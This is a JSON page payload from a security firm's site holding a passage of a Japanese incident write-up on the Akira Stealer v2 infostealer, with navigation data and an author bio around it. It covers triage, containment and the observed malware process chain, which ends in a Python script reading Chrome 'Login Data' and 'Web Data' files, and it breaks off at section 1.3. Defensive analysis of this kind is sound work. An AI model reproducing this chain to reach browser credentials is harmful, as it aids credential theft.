[{"data":1,"prerenderedAt":15254},["ShallowReactive",2],{"sc:header-data-ja":3,"sc:footer-data-ja":489,"author-ja-pascal-asch-1864737b7d2e83":519,"content-ja-pascal-asch":549,"content-events-ja-pascal-asch":15244,"authors_data:Pascal Asch":15245},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"ja":13},{"title":14,"url":15,"alt":16},"ホーム","/ja","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"ja":21},{"title":22,"description":23},"Workplace","Microsoft 365を基盤に、スマートで安全な、柔軟性の高いワークプレイスを実現します。最新のテクノロジーとアイデンティティサービスが一つにつながります。",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"ja":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"ja":34},{"title":35,"url":36},"Managed Intune","/ja/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"ja":40},{"title":41,"url":42},"Managed Entra","/ja/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"ja":46},{"title":47,"url":48},"Managed Workplace","/ja/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"ja":52},{"title":53,"url":54},"Consulting Services","/ja/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"ja":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"ja":64},{"title":65,"url":66},"Microsoft Entra Suite","/ja/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"ja":70},{"title":71,"url":72},"Microsoft Intune","/ja/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"ja":76},{"title":77,"url":78},"Microsoft Windows","/ja/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"ja":82},{"title":83,"url":84},"Windows 365 Cloud PC","/ja/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"ja":88},{"title":89,"url":90},"Cloud Workplace Foundation","/ja/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"ja":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"ja":100},{"title":101,"url":102},"Microsoft 365 Copilot","/ja/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"ja":106},{"title":107,"url":108},"Teams","/ja/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"ja":112},{"title":113,"url":114},"SharePoint & Power Platform","/ja/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"ja":118},{"title":119,"url":120},"Exchange Online","/ja/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"ja":124},{"title":125,"url":126},"Information Protection & Compliance","/ja/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"ja":130},{"title":131,"description":132},"Azure","Azureで成長を後押しします。IaaSとPaaSによって、クラウドのコストを下げ、効率を高め、イノベーションを進めます。",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"ja":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"ja":142},{"title":143,"url":144},"Azure Managed Services","/ja/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"ja":148},{"title":149,"url":150},"Azure Consulting","/ja/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"ja":154},{"title":155},"シナリオ",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"ja":160},{"title":161,"url":162},"クラウドを計画する","/ja/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"ja":166},{"title":167,"url":168},"クラウドへ移行する","/ja/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"ja":172},{"title":173,"url":174},"ビジネスを刷新する","/ja/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"ja":178},{"title":179,"url":180},"VMware戦略を立て直す","/ja/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"ja":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"ja":190},{"title":191,"url":192},"Azure Foundation","/ja/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"ja":196},{"title":197,"url":198},"Azure AI Foundation","/ja/azure/azure-ai-foundation",{"name":86,"languages":200},{"ja":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"ja":205},{"title":206,"url":207},"Azure Data Foundation","/ja/azure/azure-data-foundation",{"name":188,"languages":209},{"ja":210},{"title":211,"url":212},"Azure Container Foundation","/ja/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"ja":216},{"title":217,"url":218},"Managed Dark Tenant","/ja/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"ja":222},{"title":223,"url":224},"Cloud Adoption Framework","/ja/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"ja":228},{"title":229,"url":230},"Cloud Competence Center","/ja/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"ja":234},{"title":235,"description":236,"emergency":237},"Security","受賞歴のある24時間365日のManaged Service、インシデント対応、最新水準の保護で、クラウドの安全を見守り、インフラを守ります。",{"text":238,"href":239,"skin":240,"icon":241},"サイバー攻撃の渦中ですか？","/ja/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"ja":249},{"title":250,"url":251},"Managed Red Tenant","/ja/security/managed-red-tenant",{"name":214,"languages":253},{"ja":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"ja":259},{"title":260,"url":261},"Sentinel Data Lake","/ja/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"ja":265},{"title":266,"url":267},"Security Consulting","/ja/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"ja":274},{"title":275,"url":276},"Cloud Security Operations Center","/ja/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"ja":280},{"title":281,"url":282},"Global Secure Access","/ja/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"ja":286},{"title":287,"url":288},"MyWorkID","/ja/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"ja":295},{"title":296,"url":297},"Preventive Services","/ja/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"ja":301},{"title":302,"url":303},"Data Security Service","/ja/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"ja":307},{"title":308,"url":309},"Security Copilot Agents","/ja/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"ja":313},{"title":314,"url":315},"NIS2を技術で実装する","/ja/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"ja":319},{"title":320,"description":321},"製品","完全に安全で100%クラウドネイティブなMicrosoft環境のためのCompanion製品です。協働、ネットワーク認証、ソフトウェア管理を強化します。",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"ja":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","クラウドベースのソフトウェア配布",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"ja":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","クラウドからの証明書配布",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"ja":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Office 365のデータをローカルで利用",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"ja":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","サーバー間のデータ移行",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"ja":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Microsoft 365向けのTerraform Provider",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"ja":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","ネットワークの認証",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"ja":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Microsoft Teamsで連絡先を探す",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"ja":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilotのリアルタイム監視",{"name":396,"languages":397},"casestudies",{"ja":398},{"title":399,"url":400,"description":401},"導入事例","/ja/casestudies","当社はクラウドの先駆者として、包括的なクラウドソリューションを提供するMicrosoftのトップパートナーです。ブループリントに基づくアプローチとInfrastructure as Codeの知見が土台にあります。",{"name":403,"languages":404,"children":407},"company",{"ja":405},{"title":406,"description":401},"会社",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"ja":411},{"title":412},"会社概要",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"ja":417},{"title":418,"url":419},"Facts & Figures","/ja/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"ja":423},{"title":424,"url":425},"お問い合わせと拠点","/ja/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"ja":429},{"title":430,"url":431},"スイスのglueckkanja","/ja/company/switzerland",{"name":433,"languages":434},"austria",{"ja":435},{"title":436,"url":437},"オーストリアのglueckkanja","/ja/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"ja":441},{"title":442},"キャリア",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"ja":447},{"title":448,"url":449},"採用情報","/ja/career",{"name":451,"languages":452},"company-young-professionals",{"ja":453},{"title":454,"url":455},"Young Professionals","/ja/young-professionals",{"name":457,"languages":458},"company-jobs",{"ja":459},{"title":460,"url":461},"募集職種","/ja/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"ja":465},{"title":466},"最新情報",[468,474],{"name":469,"languages":470},"company-blog",{"ja":471},{"title":472,"url":473},"ブログ","/ja/blog",{"name":469,"languages":475},{"ja":476},{"title":477,"url":478},"イベント","/ja/events",[480],{"name":481,"languages":482},"career-meta",{"ja":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"ja":487},{"title":488,"url":425,"active":484},"お問い合わせ",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksJa":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"プライバシーポリシー","/ja/privacy",{"title":514,"url":515},"運営者情報","/ja/imprint",{"title":517,"url":518},"Cookieなし","/ja/cookies",{"id":520,"title":521,"body":522,"description":528,"extension":533,"meta":534,"name":521,"navigation":325,"otherLanguages":535,"path":545,"seo":546,"stem":547,"__hash__":548},"authors/pascal-asch.md","Pascal Asch",{"type":523,"value":524,"toc":529},"minimal",[525],[526,527,528],"p",{},"Pascal Asch ist Teil des Cyber Security Operations Centers (CSOC) von glueckkanja und auf die Analyse und Abwehr komplexer Bedrohungslagen spezialisiert. Sein Schwerpunkt liegt auf Incident Response, Threat Hunting und Malware-Analyse im Microsoft-Umfeld. Dabei verbindet er tiefgehendes technisches Know-how mit einem klaren Blick für forensische Zusammenhänge – von der ersten Auffälligkeit bis zur vollständigen Aufklärung eines Angriffs.",{"title":530,"searchDepth":531,"depth":531,"links":532},"",2,[],"md",{},{"en":536,"es":537,"sv":538,"fi":539,"da":540,"ko":541,"nl":542,"no":543,"ja":544},"Pascal Asch is part of the Cyber Security Operations Center (CSOC) at glueckkanja, specializing in the analysis and mitigation of complex threat scenarios. His focus lies in incident response, threat hunting, and malware analysis within Microsoft environments. He combines deep technical expertise with a sharp forensic mindset – from the first anomaly to the full resolution of an attack.","Pascal Asch forma parte del Cyber Security Operations Center (CSOC) de glueckkanja y está especializado en el análisis y la defensa frente a situaciones de amenaza complejas. Su enfoque se centra en Incident Response, Threat Hunting y análisis de malware en el entorno de Microsoft. Combina un profundo conocimiento técnico con una visión clara de las relaciones forenses, desde el primer indicio hasta el esclarecimiento completo de un ataque.","Pascal Asch är en del av glueckkanjas Cyber Security Operations Center (CSOC) och specialiserad på analys och avvärjning av komplexa hotbilder. Hans fokus ligger på Incident Response, Threat Hunting och malware-analys i Microsoft-miljö. Han förenar djup teknisk kompetens med en tydlig blick för forensiska samband, från den första avvikelsen till fullständig utredning av en attack.","Pascal Asch työskentelee glueckkanjan Cyber Security Operations Centerissä (CSOC) ja on erikoistunut monimutkaisten uhkatilanteiden analysointiin ja torjuntaan. Hänen painopisteenään ovat Incident Response, Threat Hunting ja haittaohjelma-analyysi Microsoft-ympäristössä. Hän yhdistää syvän teknisen osaamisen selkeään näkemykseen forensisista yhteyksistä ensimmäisestä poikkeamasta hyökkäyksen täydelliseen selvittämiseen.","Pascal Asch er en del af glueckkanjas Cyber Security Operations Center (CSOC) og specialiseret i analyse og afværgning af komplekse trusselsbilleder. Hans fokus ligger på Incident Response, Threat Hunting og malware-analyse i Microsoft-miljøet. Han kombinerer dybdegående teknisk knowhow med et klart blik for forensiske sammenhænge, fra den første anomali til den fuldstændige opklaring af et angreb.","Pascal Asch은 glueckkanja의 Cyber Security Operations Center(CSOC) 소속으로 복잡한 위협 상황의 분석과 방어를 전문으로 합니다. 그의 중점 분야는 Microsoft 환경에서의 Incident Response, Threat Hunting, 멀웨어 분석입니다. 그는 깊이 있는 기술적 노하우와 포렌식 맥락에 대한 명확한 시각을 결합하여, 최초의 이상 징후부터 공격의 완전한 규명에 이르기까지 대응합니다.","Pascal Asch is onderdeel van het Cyber Security Operations Center (CSOC) van glueckkanja en gespecialiseerd in de analyse en afweer van complexe dreigingssituaties. Zijn focus ligt op incident response, threat hunting en malware-analyse binnen het Microsoft-landschap. Daarbij combineert hij diepgaande technische kennis met een scherp oog voor forensische samenhang, van de eerste afwijking tot de volledige reconstructie van een aanval.","Pascal Asch er en del av Cyber Security Operations Center (CSOC) hos glueckkanja og spesialisert på analyse og avverging av komplekse trusselsituasjoner. Tyngdepunktet ligger på Incident Response, Threat Hunting og malware-analyse i Microsoft-miljøet. Han kombinerer dyp teknisk kompetanse med et klart blikk for forensiske sammenhenger, fra første avvik til fullstendig oppklaring av et angrep.","Pascal AschはglueckkanjaのCyber Security Operations Center（CSOC）のメンバーで、複雑な脅威状況の分析と防御を専門としています。重点はMicrosoft環境におけるIncident Response、Threat Hunting、マルウェア解析です。深い技術的知見と、フォレンジックの文脈を見通す視点を組み合わせ、最初の兆候から攻撃の全容解明までを担います。","/pascal-asch",{"title":521,"description":528},"pascal-asch","h9IFki986nfubTkh2vFlR-qx4IOL2kjI9sufDTKc3ao",[550,13086],{"id":551,"title":552,"author":553,"body":554,"cta":494,"description":562,"eventid":494,"extension":533,"hideInRecent":484,"layout":12960,"meta":12961,"moment":12965,"navigation":325,"path":13077,"seo":13078,"stem":13079,"tags":13080,"webcast":484,"__hash__":13085},"content_ja/posts/2025-06-16-quiet-breach.md","Akira Stealerの内側: モジュール型スティーラーの完全な技術分析",[521],{"type":523,"value":555,"toc":12815},[556,560,563,571,574,594,597,615,624,627,630,654,662,672,679,682,685,700,707,710,713,727,731,733,740,745,748,751,763,772,779,782,788,791,795,797,803,809,812,816,818,821,847,853,859,863,865,868,872,874,877,879,885,888,893,896,907,910,913,934,937,944,951,953,959,962,968,971,1006,1009,1018,1024,1033,1036,1048,1051,1058,1060,1068,1078,1110,1116,1121,1142,1148,1151,1154,1159,1168,1175,1177,1180,1192,1195,1229,1235,1261,1270,1273,1278,1287,1289,1298,1304,1322,1325,1330,1364,1368,1371,1374,1380,1394,1400,1406,1408,1413,1417,1419,1499,1502,1506,1508,1513,1519,1524,1533,1538,1543,1554,1557,1562,1570,1576,1579,1583,1585,1597,1602,1620,1626,1635,1646,1653,1658,1662,1664,1670,1696,1699,1713,1716,1725,1728,1732,1734,1741,1744,1747,1760,1770,1777,1798,1801,1807,1811,1813,1816,1825,1836,1861,1868,1874,1877,1884,1887,1898,1905,1907,1914,1918,1920,1926,2025,2032,2040,2042,2045,2068,2071,2100,2103,2148,2151,2160,2163,2181,2187,2190,2199,2202,2214,2221,2225,2227,2234,2256,2263,2297,2300,2315,2322,2327,2338,2341,2345,2347,2350,2365,2372,2383,2392,2429,2436,2439,2443,2445,2451,2456,2496,2499,2514,2517,2526,2532,2535,2539,2541,2544,2553,2556,2601,2607,2611,2613,2618,2623,2651,2658,2660,2676,2680,2682,2685,2724,2730,2736,2740,2742,2760,2770,2777,2814,2821,2867,2875,2879,2881,2884,2913,2922,2929,2931,2936,2940,2942,2948,2952,2954,2961,2987,2994,3254,3257,3262,3265,3298,3304,3308,3310,3313,3317,3319,3322,3424,3427,3431,3433,3436,3599,3602,3625,3629,3631,3639,3882,3885,3913,3917,3919,3952,3955,3958,3991,3995,3997,4003,4008,4011,4029,4032,4040,4045,4048,4128,4136,4139,4145,4153,4157,4159,4165,4170,4173,4190,4197,4202,4209,4271,4283,4288,4294,4321,4324,4362,4365,4370,4373,4387,4391,4393,4398,4420,4427,4434,4436,4440,4442,4448,4452,4454,4458,4460,4465,4492,4498,4502,4504,4510,4527,4551,4558,4562,4564,4567,4576,4590,4593,4597,4599,4612,4615,4624,4630,4637,4639,4643,4645,4655,4659,4661,4666,4680,4693,4697,4699,4779,4782,4789,4791,4796,4854,4861,4986,4989,5134,5138,5140,5143,5197,5200,5204,5206,5212,5265,5268,5272,5274,5277,5329,5332,5336,5338,5345,5397,5400,5404,5406,5413,5454,5457,5461,5463,5470,5552,5555,5559,5561,5564,5611,5614,5619,5622,5625,5629,5631,5636,5642,5647,5653,5658,5664,5669,5675,5680,6081,6085,6087,6127,6131,6133,6141,6145,6147,6157,6162,6187,6208,6213,6300,6304,6306,6400,6403,6409,6416,6418,6421,6476,6535,6542,6544,6547,6582,6617,6624,6626,6629,6662,6698,6705,6707,6710,6779,6824,6831,6833,6836,6864,6893,6900,6902,6905,6933,6955,6964,6966,6969,6994,7031,7035,7037,7070,7074,7076,7079,7082,7085,7088,7091,7096,7121,7126,7156,7163,7172,7194,7403,7407,7409,7416,7514,7517,7521,7523,7530,7623,7633,7639,7642,7647,7653,7681,7686,7716,7769,7788,7791,7796,7844,7848,7850,7853,7857,7859,7865,7985,8005,8009,8011,8016,8090,8111,8115,8117,8120,8123,8126,8129,8228,8236,8240,8242,8247,8282,8304,8308,8310,8313,8316,8324,8327,8415,8429,8433,8435,8438,8441,8534,8540,8542,8548,8552,8554,8557,8622,8640,8643,8677,8680,8684,8686,8691,8705,8750,8776,8781,8794,8870,8925,8929,8931,8934,8940,8980,8990,8996,9006,9010,9012,9015,9044,9071,9077,9081,9083,9090,9097,9099,9105,9160,9186,9190,9192,9195,9260,9267,9306,9310,9312,9318,9333,9336,9372,9376,9378,9385,9429,9443,9449,9456,9458,9461,9465,9467,9470,9504,9507,9532,9536,9538,9543,9546,9570,9594,9598,9600,9603,9627,9631,9633,9636,9656,9660,9662,9665,9672,9785,9790,9835,9839,9841,9848,9882,9936,9941,9944,9948,9950,9953,9957,9959,9962,9968,9972,9974,9977,10032,10047,10051,10053,10064,10133,10142,10147,10150,10194,10196,10200,10202,10205,10296,10301,10430,10434,10436,10439,10444,10517,10535,10540,10560,10568,10573,10579,10594,10611,10617,10675,10696,10701,10718,10723,10767,10781,10784,10788,10790,10795,10799,10801,10808,10815,10819,10821,10928,10935,10939,10941,10948,10953,11034,11041,11048,11052,11054,11057,11087,11094,11098,11100,11104,11106,11113,11116,11119,11122,11267,11270,11274,11276,11279,11283,11285,11288,11324,11330,11334,11336,11339,11365,11368,11374,11378,11380,11386,11403,11409,11413,11415,11419,11421,11437,11461,11468,11484,11504,11507,11510,11512,11522,11526,11528,11962,11965,11969,11971,11977,11980,11983,11990,11993,12004,12010,12013,12018,12022,12024,12027,12032,12046,12050,12052,12349,12352,12356,12358,12470,12473,12477,12479,12533,12536,12540,12542,12705,12708,12712,12714,12755,12758,12762,12764,12767,12770,12773,12776,12779,12782,12787,12791,12793,12796,12799,12802,12805,12808,12811],[557,558,559],"h1",{"id":559},"プロローグ",[526,561,562],{},"{: .h3-font-size}",[526,564,565,566,570],{},"現代の多くの攻撃と同じように、それは静かに始まりました。信頼度の低いDefenderアラート ",[567,568,569],"strong",{},"「疑わしい探索活動のシーケンス（Suspicious sequence of exploration activities）」"," が、新規のお客様を当社のglueckkanja Cyber Security Operations Center（CSOC）へオンボーディングしている最中に浮上したのです。",[526,572,573],{},"シグネチャの検出はありませんでした。マルウェアの分類もありませんでした。リアルタイム保護の反応もありませんでした。あったのは、Microsoft 365 Defenderのノイズに埋もれた1件の振る舞い相関だけです。それでも、明らかに何かがおかしいものでした。",[526,575,576,577,581,582,585,586,589,590,593],{},"このアラートをトリアージしている最中、ある特定の動作が目に留まりました。",[578,579,580],"code",{},"python.exe"," がChromiumプロファイル内の ",[578,583,584],{},"Login Data"," と ",[578,587,588],{},"Web Data"," の両ファイルにアクセスしていたのです。Microsoft Defenderはこれを即座に重大度の高いインシデントへと格上げしました。",[567,591,592],{},"「パスワードおよびその他の機微なWebブラウザー情報の窃取の可能性（Possible theft of passwords and other sensitive web browser information）」"," です。",[526,595,596],{},"これは誤検知ではありませんでした。もっと深いところにあるものの、ほんの先端でした。",[526,598,599,600,603,604,607,608,610,611,614],{},"テレメトリを逆方向にたどると、スタートアップに配置されたありふれたバイナリ ",[578,601,602],{},"Updater.exe"," が見つかりました。これはNodeJSベースのラッパー（",[578,605,606],{},"main.exe","）を起動し、そのラッパーが ",[578,609,580],{}," 経由で ",[578,612,613],{},"astor.py"," というスクリプトを実行するコマンドラインを走らせていました。",[616,617,622],"pre",{"className":618,"code":620,"language":621,"meta":530},[619],"language-text","Updater.exe → main.exe → cmd.exe → python.exe Crypto\\Util\\astor.py\n","text",[578,623,620],{"__ignoreMap":530},[526,625,626],{},"このスクリプトは認証情報をかき集めるだけではありませんでした。レジストリの照会、システムのフィンガープリンティング、権限を考慮した列挙など、侵害後の偵察ステップを順に実行していたのです。検出を回避するためにOS本来の動作を模倣し、外科手術のような精度で動作していました。そして、それはほぼ成功しかけていました。",[526,628,629],{},"初動対応の時点では、状況は次のとおりでした。",[631,632,633,643,651],"ul",{},[634,635,636,638,639,642],"li",{},[578,637,602],{}," はVirusTotal上で ",[567,640,641],{},"69個中1個"," のエンジンでしか検出されていませんでした。",[634,644,645,647,648,650],{},[578,646,606],{},"、",[578,649,613],{},"、および関連するすべてのコンポーネントは、VirusTotalでほとんど検出されていませんでした。",[634,652,653],{},"署名されたファイルはありませんでした。昇格されたコンテキストもありませんでした。あったのは、きわめて普通でないことをしている「普通の」プロセスだけです。",[526,655,656,658,659,661],{},[578,657,602],{}," は認証情報に触れていませんでした。その役割はメモリ上で動作するPythonペイロード ",[578,660,613],{}," に委ねられており、このファイルは設計上ほとんど痕跡を残しませんでした。",[526,663,664,667,668,671],{},[567,665,666],{},"21分"," 以内に、該当システムをネットワークから隔離しました。",[567,669,670],{},"70分"," 以内には、影響範囲のすべてで認証情報をローテーションしました。内部IDも、SaaSプラットフォームも、サードパーティサービスも含みます。",[526,673,674,675,678],{},"しかし本当の転換点は、Pythonペイロードを抽出して完全に復号したときに訪れました。見つかったのは汎用のスティーラーではなく、Telegram経由で商用配布されているマルウェアファミリー ",[567,676,677],{},"Akira Stealer v2"," のカスタム配備版でした。",[526,680,681],{},"当社の内製の脅威インテリジェンスとリバースエンジニアリングの能力により、マルウェアの機能全体を再構築し、埋め込まれたすべての指標を抽出し、そのステージング、データ持ち出し、認証情報の標的化ロジックを詳細に把握できました。",[526,683,684],{},"さらに重要なのは、当社が技術的な帰属分析で止まらなかったことです。当社はその先へ進みました。",[526,686,687,688,691,692,695,696,699],{},"お客様に対して、",[567,689,690],{},"持ち出された認証情報の完全なデータセット"," を提供できました。クラウドサービス、CRMシステム、社内プラットフォーム、さらには主要な従業員が使っていた個人用ツールへのアクセス情報を含め、",[567,693,694],{},"100件を超える一意のユーザー名とパスワードの組み合わせ"," です。この窃取は ",[567,697,698],{},"数か月間"," 続いていましたが、当社はそのすべてを説明できました。",[526,701,702,703,706],{},"この事案から得た知見をもとに、影響を受けたシステムをスキャンし、認証情報へのアクセスパターンを再構築し、詳細なフォレンジックレポートを生成する ",[567,704,705],{},"感染後分析ツール"," を構築しました。何が、いつ、どこから盗まれたのかを正確にマッピングします。",[526,708,709],{},"このスキャナーについては、本レポートの最後で少しご紹介します。",[526,711,712],{},"これは単なる1件のインシデントではないからです。\nこれが当社の調査のしかたです。これが当社の守りかたです。",[526,714,715,723,726],{},[567,716,717,722],{},[718,719,721],"a",{"href":720},"/ja/security/cloud-security-operations-center/","glueckkanja CSOC","へようこそ。",[724,725],"br",{},"\nこれが当社の働きかたです。侵害は待ってくれないからです。",[557,728,730],{"id":729},"_1-初期イベントとトリアージの概要","1. 初期イベントとトリアージの概要",[526,732,562],{},[526,734,735,736,739],{},"2025年3月31日、Microsoft Defender for EndpointがWindows 10 64ビットのエンドポイント上で ",[567,737,738],{},"「疑わしい探索活動のシーケンス」"," というラベルのアラートを生成しました。私はこのシグナルを起点にトリアージを開始し、プロセスツリー、システムタイムライン、そしてDefenderが相関付けた証拠を使って対象システムを確認しました。",[741,742,744],"h2",{"id":743},"_11-タイムラインに基づくトリアージ","1.1 タイムラインに基づくトリアージ",[526,746,747],{},"{: .h4-font-size}",[526,749,750],{},"このアラートは、さらに詳しく調べる必要のあるプロセスの連なりを指し示していました。初期レビューの段階で、ローカルユーザープロファイル内のChromeブラウザーデータに対して次のアクセスパターンを確認しました。",[631,752,753,758],{},[634,754,755],{},[578,756,757],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data",[634,759,760],{},[578,761,762],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Web Data",[526,764,765,766,768,769,771],{},"これらのアクセスは ",[578,767,602],{}," というプロセスから開始されていました。Microsoft Defenderはヒューリスティック分析や振る舞い分析ではこのバイナリを検出していませんでしたが、VirusTotalでは ",[578,770,602],{}," に対する検出が見つかりました。当時、フラグを立てていたのは1エンジンのみでした。",[526,773,774],{},[775,776],"img",{"alt":777,"src":778},"Microsoft Defender","https://res.cloudinary.com/c4a8/image/upload/v1749797184/blog/pics/microsoft-defender.png",[526,780,781],{},"観測された実行チェーンの全体は次のとおりです。",[616,783,786],{"className":784,"code":785,"language":621,"meta":530},[619],"winlogon.exe\n└── userinit.exe\n    └── explorer.exe\n        └── Updater.exe\n            └── main.exe\n                └── cmd.exe /d /s /c \"python.exe Crypto\\Util\\astor.py\"\n                    └── python.exe Crypto\\Util\\astor.py\n",[578,787,785],{"__ignoreMap":530},[526,789,790],{},"この段階では、関与するファイルに対する踏み込んだ静的解析も動的解析も行っていませんでした。私の関心は、高レベルの振る舞いと文脈を理解することにありました。プロセス名とファイルパスはありふれたもので、連鎖するPython実行以外に不審なコマンドライン引数はありませんでした。",[741,792,794],{"id":793},"_12-初動対応","1.2 初動対応",[526,796,747],{},[526,798,799,800,802],{},"最初のアラートから ",[567,801,666],{}," 以内に、Defender for Endpointの隔離機能を使ってホストの隔離を開始しました。目的は、これ以上の拡散やデータ持ち出しを防ぐことです。",[526,804,805,806,808],{},"最初の ",[567,807,670],{}," の間に、該当ホストで使用されていたことが分かっている認証情報のローテーションを進めました。対象は社内システム、SaaSプラットフォーム、および重要なサードパーティベンダーです。",[526,810,811],{},"リバースエンジニアリングのプロセスは、最初の封じ込めの後に始まりました。以降のセクションでは、この侵害を調査するために行った技術的なディープダイブを記録します。",[741,813,815],{"id":814},"_13-対応の概要-迅速透明成果重視","1.3 対応の概要 – 